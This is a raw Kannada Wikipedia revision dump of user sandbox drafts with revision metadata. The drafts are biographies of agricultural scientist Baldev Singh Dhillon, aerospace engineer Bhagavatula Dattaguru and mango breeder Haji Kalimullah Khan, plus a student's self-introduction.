77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಧಿಲೋನ್ ಅವರು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಉಪ ಕುಲಪತಿಯಾಗಿ ಜುಲೈ ೨೦೧೧-೩೦ ಜೂನ್ ೨೦೦೨೧ರವರೆಗು ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೆ. ಇವರ ಕ್ರಿಯಾತ್ಮಕ ನಾಯಕತ್ವದಲ್ಲಿ, ಹಲವಾರು ಪುರಸ್ಕಾರಗಳನ್ನು PAU ಪಡೆದುಕೊಂಡಿದೆ.. *೨೦೧೭ರಲ್ಲಿ 'ಉತ್ತಮ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ' ಮತ್ತು 'ಮೂರನೇ ಅತ್ಯುತ್ತಮ ಕೃಷಿ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ' ಎಂದು ಇಂಡಿಯಾದಲ್ಲಿ ICAR ನಿಂದ ಪ್ರಕ್ಯಥ ಸ್ಥಾನ ಪಡೆದಿದ್ದಾರೆ. 02626wpz0hhn7oiem7m2y27zaybfswu 1116508 1116500 2022-08-23T15:37:50Z A. Swaroop Raj 77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಧಿಲೋನ್ ಅವರು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಉಪ ಕುಲಪತಿಯಾಗಿ ಜುಲೈ ೨೦೧೧-೩೦ ಜೂನ್ ೨೦೦೨೧ರವರೆಗು ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೆ. ಇವರ ಕ್ರಿಯಾತ್ಮಕ ನಾಯಕತ್ವದಲ್ಲಿ, ಹಲವಾರು ಪುರಸ್ಕಾರಗಳನ್ನು PAU ಪಡೆದುಕೊಂಡಿದೆ.. *೨೦೧೭ರಲ್ಲಿ 'ಉತ್ತಮ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ' ಮತ್ತು 'ಮೂರನೇ ಅತ್ಯುತ್ತಮ ಕೃಷಿ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ' ಎಂದು ಇಂಡಿಯಾದಲ್ಲಿ ICAR ನಿಂದ ಪ್ರಕ್ಯಥ ಸ್ಥಾನ ಪಡೆದಿದ್ದಾರೆ. *೨೦೧೭ರಲ್ಲಿ 'ಪಂಜಾಬಿನಲ್ಲಿ ಮೊದಲು' ಮತ್ತು 'ಭಾರತದ ಏರಡನೆ ಅತ್ಯುತ್ತಮ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ' ಎಂದು ಕೇಂದ್ರ ಸಚಿವಾಲಯದ ಮಾನವ ಸಂಪನ್ಮೂಲ ಅಭಿವೃದ್ಧಿ ಸ್ಥಾನ ಪಡೆದುಕೊಂಡಿದೆ m40w212f9wn7uh1nyz8cbikd46uxttf 1116518 1116508 2022-08-23T15:49:16Z A. Swaroop Raj 77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಧಿಲೋನ್ ಅವರು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಉಪ ಕುಲಪತಿಯಾಗಿ ಜುಲೈ ೨೦೧೧-೩೦ ಜೂನ್ ೨೦೦೨೧ರವರೆಗು ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೆ. ಇವರ ಕ್ರಿಯಾತ್ಮಕ ನಾಯಕತ್ವದಲ್ಲಿ, ಹಲವಾರು ಪುರಸ್ಕಾರಗಳನ್ನು PAU ಪಡೆದುಕೊಂಡಿದೆ.. *೨೦೧೭ರಲ್ಲಿ 'ಉತ್ತಮ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ' ಮತ್ತು 'ಮೂರನೇ ಅತ್ಯುತ್ತಮ ಕೃಷಿ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ' ಎಂದು ಇಂಡಿಯಾದಲ್ಲಿ ICAR ನಿಂದ ಪ್ರಕ್ಯಥ ಸ್ಥಾನ ಪಡೆದಿದ್ದಾರೆ. *೨೦೧೭ರಲ್ಲಿ 'ಪಂಜಾಬಿನಲ್ಲಿ ಮೊದಲು' ಮತ್ತು 'ಭಾರತದ ಏರಡನೆ ಅತ್ಯುತ್ತಮ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ' ಎಂದು ಕೇಂದ್ರ ಸಚಿವಾಲಯದ ಮಾನವ ಸಂಪನ್ಮೂಲ ಅಭಿವೃದ್ಧಿಇಂದ ಪ್ರಕ್ಯಥ ಸ್ಥಾನ ಪಡೆದುಕೊಂಡಿದೆ. *ಸಿಐಐ - ಇಂಡಿಯನ್ ಸೈಟೇಷನ್ ಇಂಡೆಕ್ಸ್ ನಿಂದ ೨೦೧೭ ರಲ್ಲಿ ಸಂಶೋಧನಾ ಲೇಖನ ಮತ್ತು ಉಲ್ಲೇಖಗಳಿಗೆ ಮೊದಲ ಸ್ಥಾನ ದೊರಕಿದೆ. *ಹೆಗ್ಗುರುತು ಪ್ರಬೇಧಗಳ ಅಭಿವೃದ್ಧಿ - ಜೆನೆಟಿಕ್ಸ್ ನ ಭಾರತೀಯ ಸಮಾಜದಲ್ಲಿ i42c1mmoi40fngs7r1pu3bvdhdpx96g 1116520 1116518 2022-08-23T15:56:09Z A. Swaroop Raj 77717 wikitext text/x-wiki '''ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್''' ಬಾಲ್ದೇವ್ ಸಿಂಗ್ ಧಿಲೋನ್ ಅವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯ ಕೃಷಿ ವಿಜ್ಞಾನ ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಉಪ ಕುಲಪತಿಯಾಗಿ ೨೦೧೧-೨೦೨೧ರ ವರೆಗೆ ಇಂಡಿಯಾದಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು. ಮೊದಲಿಗೆ ಇವರು ICAR ನಲ್ಲಿ ಸಹಾಯಕ ಮಹಾನಿರ್ದೇಶಕರಾಗಿ, NBPGR (ICAR) ನಲ್ಲಿ ನಿರ್ದೇಶಕರು ಮತ್ತು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ ಮತ್ತು ಗುರುನಾನಕ್ ದೇವ್ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಸಂಶೋಧನ ನಿರ್ದೇಶಕರಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ. ಇವರು ಹೊಹೆಂನ್ಹೆಮ್ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಸ್ಟುಠಾಗರ್ಟ್, ಜರ್ಮನಿಯಲ್ಲಿ ೧೯೭೬-೧೯೭೮,೧೯೮೮-೧೯೯೦ ಮತ್ತು ೨೦೦೭-೨೦೧೧, ಮೆಕ್ಸಿಕೋದ ಅಂತರಾಷ್ಟ್ರೀಯ ಜೋಳ ಮತ್ತು ಗೋಧಿಯ ಸುಧಾರಣಾ ಕೇಂದ್ರದಲ್ಲಿ ೧೯೯೩-೧೯೯೪ ಮತ್ತು ಯುಕೆ ವಿಶ್ವವಿದ್ಯಾಲಯ, ೧೯೮೯ರಲ್ಲಿ ಜೋಳದ ತಳಿ ಅನುವಂಶಿಕ ಮತ್ತು ಜೈವಿಕ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರು. ಧಿಲೋನ್ ಅವರು ಪಂಜಾಬ್ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಉಪ ಕುಲಪತಿಯಾಗಿ ಜುಲೈ ೨೦೧೧-೩೦ ಜೂನ್ ೨೦೦೨೧ರವರೆಗು ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೆ. ಇವರ ಕ್ರಿಯಾತ್ಮಕ ನಾಯಕತ್ವದಲ್ಲಿ, ಹಲವಾರು ಪುರಸ್ಕಾರಗಳನ್ನು PAU ಪಡೆದುಕೊಂಡಿದೆ.. *೨೦೧೭ರಲ್ಲಿ 'ಉತ್ತಮ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ' ಮತ್ತು 'ಮೂರನೇ ಅತ್ಯುತ್ತಮ ಕೃಷಿ ಸಂಶೋಧನಾ ಸಂಸ್ಥೆ' ಎಂದು ಇಂಡಿಯಾದಲ್ಲಿ ICAR ನಿಂದ ಪ್ರಕ್ಯಥ ಸ್ಥಾನ ಪಡೆದಿದ್ದಾರೆ. *೨೦೧೭ರಲ್ಲಿ 'ಪಂಜಾಬಿನಲ್ಲಿ ಮೊದಲು' ಮತ್ತು 'ಭಾರತದ ಏರಡನೆ ಅತ್ಯುತ್ತಮ ಕೃಷಿ ವಿಶ್ವವಿದ್ಯಾಲಯ' ಎಂದು ಕೇಂದ್ರ ಸಚಿವಾಲಯದ ಮಾನವ ಸಂಪನ್ಮೂಲ ಅಭಿವೃದ್ಧಿಇಂದ ಪ್ರಕ್ಯಥ ಸ್ಥಾನ ಪಡೆದುಕೊಂಡಿದೆ. *ಸಿಐಐ - ಇಂಡಿಯನ್ ಸೈಟೇಷನ್ ಇಂಡೆಕ್ಸ್ ನಿಂದ ೨೦೧೭ ರಲ್ಲಿ ಸಂಶೋಧನಾ ಲೇಖನ ಮತ್ತು ಉಲ್ಲೇಖಗಳಿಗೆ ಮೊದಲ ಸ್ಥಾನ ದೊರಕಿದೆ. *ಹೆಗ್ಗುರುತು ಪ್ರಬೇಧಗಳ ಅಭಿವೃದ್ಧಿ - ಭಾರತೀಯ ಸಮಾಜದ ಅನುವಂಶಿಕ ಮತ್ತು ಸಸ್ಯ ಸಂತನೊತ್ರುಪ್ತಿಇಂದ ೨೦೧೪ರಲ್ಲಿ ಗೌರವ ಸಲ್ಲಿಸಿ ಮೊದಲ ಸ್ಥಾನ ಪಡೆದುಕೊಂಡಿದೆ. 26vuenjoi31evo518iir7w03pckltc9 ಸದಸ್ಯ:Sinchana.N/ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 144812 1116536 1116318 2022-08-23T18:00:48Z Sinchana.N 77715 wikitext text/x-wiki ಭಾಗವತುಲ ದತ್ತಾಗೂರು ಪ್ರಧ್ಯಪಕರಾದ ಭಾಗವತುಲ ದತ್ತಾಗೂರುರವರು (ಜನನ ೧೯೪೨) ಶೈಕ್ಷಣಿಕ ಮತ್ತು ಭಾರತೀಯ ಇಂಜಿನಿಯರ್ರಾಗಿದರು.ಇವರು ಹಲವಾರು ಪ್ರಶಸ್ತಿಗಳು,ಸೇರಿದಂತೆ ೨೦೦೫ರಲ್ಲಿ ವಿಜ್ಞಾನ ಮತ್ತು ಇಂಗೆನಿಯರಿಂಗ್ ಕ್ಷೇತ್ರದಲ್ಲಿ ಭಾರತದ ನಾಲ್ಕನೇ ನಾಗರೀಕ ಗೌರವ ಪದ್ಮಶ್ರೀ ಪ್ರಶಸ್ತಿಯನ್ನು ಸಹ ಪಡೆದುಕೊಂಡಿದ್ದಾರೆ. '' ಶಿಕ್ಷಣ''' ದತ್ತಗರು ಅವರ ತಂದೆ ರಾಘವೇಂದ್ರ ಶಾಸ್ತ್ರಿ ಅವರ ಜಿಲ್ಲೆಯ ಯಾವ ಯಾವ ಶಾಲೆಗಳಲ್ಲಿ ಅಧ್ಯಾಪಕರಾಗಿ ಮತ್ತು ಮುಖ್ಯೋಪಾಧ್ಯಾಯರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೋ ಆ ಶಾಲೆಗಳಲ್ಲಿ ಇವರ ಶಿಕ್ಷಣವು ನಡೆಯುತಿತ್ತು.ಇವರು ಆಂಧ್ರದ ಲೊಯೋಲ ಕಾಲೇಜಿನ(ALC) ಜೊತೆ ಧೀರ್ಘ ಸಹವಾಸವನ್ನು ಹೊಂದಿದರು, ಇಲ್ಲಿ ಇವರು ಇವರ ಮಧ್ಯಂತರ(old scheme)ಮತ್ತು ಬಿ . ಎಸ್ಸಿ ಡಿಗ್ರಿಯನ್ನು(Physics main)೧೯೫೫-೫೭ ಮತ್ತು ೧೯೫೭-೫೯ನೇ ಇಸವಿಯಲ್ಲಿ ಪೂರ್ಣಗೊಳಿಸಿದರು.ಇವರು ಡಿಗ್ರಿಯಲ್ಲಿ ಮೊದಲು ಬಂದು ಚಿನ್ನದ ಪದಕವನ್ನು ಆಂಧ್ರ ವಿಶ್ವವಿದ್ಯಾಲಯದಿಂದ ಪಡೆದುಕೊಳ್ಳುತ್ತಾರೆ. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯದಕ್ಕೆ ಲೊಯೋಲ ಕಾಲೇಜು ಸಂಯೋಜಿತವಾಗಿರುತ್ತದೆ. ವಿಜ್ಞಾನದ ಮಹಾನ್ ಪ್ರೇಮಿಯಾದ ಇವರು,ಉನ್ನತ ಅಧ್ಯಯನಕೊಸ್ಕರ ಬೆಂಗಳೂರಿಗೆ ತೆರಳಿ ಇಂಡಿಯನ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc)ಗೆ ಸೇರ್ಪಡೆಯಾದರು.ಇವರು ೧೯೫೯-೬೨ರವರೆಗೂ ಬಿಇ ಎಲೆಕ್ಟ್ರಿಕಲ್ ಇಂಗೆನಿಯರಿಂಗ್ ಮತ್ತು ೧೯೬೨-೬೪ರವರೆಗೂ ಎಂಇ ಅರೋಸ್ಪೇಸ್ ಟೆಕ್ನಾಲಜಿಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಲು ಹೋಗಿದ್ದರು. '''ಪ್ರಧ್ಯಾಪಕರಗಿ ವೃತ್ತಿ''' ಡಾ.ದತ್ತಾಗುರರವರು ೧೯೬೪ರಲ್ಲಿ ಏರೋಸ್ಪೇಸ್ ಇಂಜಿನಿಯರಿಂಗ್ ವಿಭಾಗದ ಸಿಬಂದಿಯಾಗಿ ಐಐಎಸ್ಸಿ ನಲ್ಲಿ ಕಾರ್ಯವನ್ನು ಮುಂದುವರೆಸಿದರು. '''ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ಗೌರವಗಳು''' e0p5gq5kr7r90t02ivrk9e6wfzl3s07 1116537 1116536 2022-08-23T18:03:15Z Sinchana.N 77715 wikitext text/x-wiki '''ಭಾಗವತುಲ ದತ್ತಾಗೂರು''' ಪ್ರಧ್ಯಪಕರಾದ ಭಾಗವತುಲ ದತ್ತಾಗೂರುರವರು (ಜನನ ೧೯೪೨) ಶೈಕ್ಷಣಿಕ ಮತ್ತು ಭಾರತೀಯ ಇಂಜಿನಿಯರ್ರಾಗಿದರು.ಇವರು ಹಲವಾರು ಪ್ರಶಸ್ತಿಗಳು,ಸೇರಿದಂತೆ ೨೦೦೫ರಲ್ಲಿ ವಿಜ್ಞಾನ ಮತ್ತು ಇಂಗೆನಿಯರಿಂಗ್ ಕ್ಷೇತ್ರದಲ್ಲಿ ಭಾರತದ ನಾಲ್ಕನೇ ನಾಗರೀಕ ಗೌರವ ಪದ್ಮಶ್ರೀ ಪ್ರಶಸ್ತಿಯನ್ನು ಸಹ ಪಡೆದುಕೊಂಡಿದ್ದಾರೆ. ''' ಶಿಕ್ಷಣ''' ದತ್ತಗರು ಅವರ ತಂದೆ ರಾಘವೇಂದ್ರ ಶಾಸ್ತ್ರಿ ಅವರ ಜಿಲ್ಲೆಯ ಯಾವ ಯಾವ ಶಾಲೆಗಳಲ್ಲಿ ಅಧ್ಯಾಪಕರಾಗಿ ಮತ್ತು ಮುಖ್ಯೋಪಾಧ್ಯಾಯರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದರೋ ಆ ಶಾಲೆಗಳಲ್ಲಿ ಇವರ ಶಿಕ್ಷಣವು ನಡೆಯುತಿತ್ತು.ಇವರು ಆಂಧ್ರದ ಲೊಯೋಲ ಕಾಲೇಜಿನ(ALC) ಜೊತೆ ಧೀರ್ಘ ಸಹವಾಸವನ್ನು ಹೊಂದಿದರು, ಇಲ್ಲಿ ಇವರು ಇವರ ಮಧ್ಯಂತರ(old scheme)ಮತ್ತು ಬಿ . ಎಸ್ಸಿ ಡಿಗ್ರಿಯನ್ನು(Physics main)೧೯೫೫-೫೭ ಮತ್ತು ೧೯೫೭-೫೯ನೇ ಇಸವಿಯಲ್ಲಿ ಪೂರ್ಣಗೊಳಿಸಿದರು.ಇವರು ಡಿಗ್ರಿಯಲ್ಲಿ ಮೊದಲು ಬಂದು ಚಿನ್ನದ ಪದಕವನ್ನು ಆಂಧ್ರ ವಿಶ್ವವಿದ್ಯಾಲಯದಿಂದ ಪಡೆದುಕೊಳ್ಳುತ್ತಾರೆ. ಈ ವಿಶ್ವವಿದ್ಯಾಲಯದಕ್ಕೆ ಲೊಯೋಲ ಕಾಲೇಜು ಸಂಯೋಜಿತವಾಗಿರುತ್ತದೆ. ವಿಜ್ಞಾನದ ಮಹಾನ್ ಪ್ರೇಮಿಯಾದ ಇವರು,ಉನ್ನತ ಅಧ್ಯಯನಕೊಸ್ಕರ ಬೆಂಗಳೂರಿಗೆ ತೆರಳಿ ಇಂಡಿಯನ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc)ಗೆ ಸೇರ್ಪಡೆಯಾದರು.ಇವರು ೧೯೫೯-೬೨ರವರೆಗೂ ಬಿಇ ಎಲೆಕ್ಟ್ರಿಕಲ್ ಇಂಗೆನಿಯರಿಂಗ್ ಮತ್ತು ೧೯೬೨-೬೪ರವರೆಗೂ ಎಂಇ ಅರೋಸ್ಪೇಸ್ ಟೆಕ್ನಾಲಜಿಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಲು ಹೋಗಿದ್ದರು. '''ಪ್ರಧ್ಯಾಪಕರಗಿ ವೃತ್ತಿ''' ಡಾ.ದತ್ತಾಗುರರವರು ೧೯೬೪ರಲ್ಲಿ ಏರೋಸ್ಪೇಸ್ ಇಂಜಿನಿಯರಿಂಗ್ ವಿಭಾಗದ ಸಿಬಂದಿಯಾಗಿ ಐಐಎಸ್ಸಿ ನಲ್ಲಿ ಕಾರ್ಯವನ್ನು ಮುಂದುವರೆಸಿದರು. '''ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ಗೌರವಗಳು''' *ಇವರಿಗೆ ಡಿ ಆರ್ ಡಿ ಓ ಶೈಕ್ಷಣಿಕ ಶ್ರೇಷ್ಠತೆ ಪ್ರಶಸ್ತಿಯು ೨೦೦೨ ರಲ್ಲಿ ದೊರಕಿದೆ. *ಇವರಿಗೆ ೨೦೦೫ರಲ್ಲಿ ಅತ್ಯುತ್ತಮ ವರ್ಷದ ವಿಜ್ಞಾನ ಮತ್ತು ಇಂಜಿನಿಯರಿಂಗ್, ಗವರ್ನಮೆಂಟ್ ಆಫ್ ಇಂಡಿಯಾದಿಂದ ಪದ್ಮಶ್ರೀ ಪ್ರಶಸ್ತಿಯು ದೊರಕಿದೆ. *ಎಂಜಿನಿಯರ್ಸ್ ಸಂಸ್ಥೆಯಿಂದ ಉತ್ತಮವಾದ ಕಾಗದಕ್ಕೆ ಚಿನ್ನದ ಪದಕ ದೊರಕಿದೆ. h4gb9qf6ipm49aqk0id0hfok72pcptj ಸದಸ್ಯ:Nisargashetty.T.N./ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 144814 1116533 1116353 2022-08-23T17:23:02Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. rkzg34lzn5d1nd5fzixk2ojb1krilv4 1116534 1116533 2022-08-23T17:34:52Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು 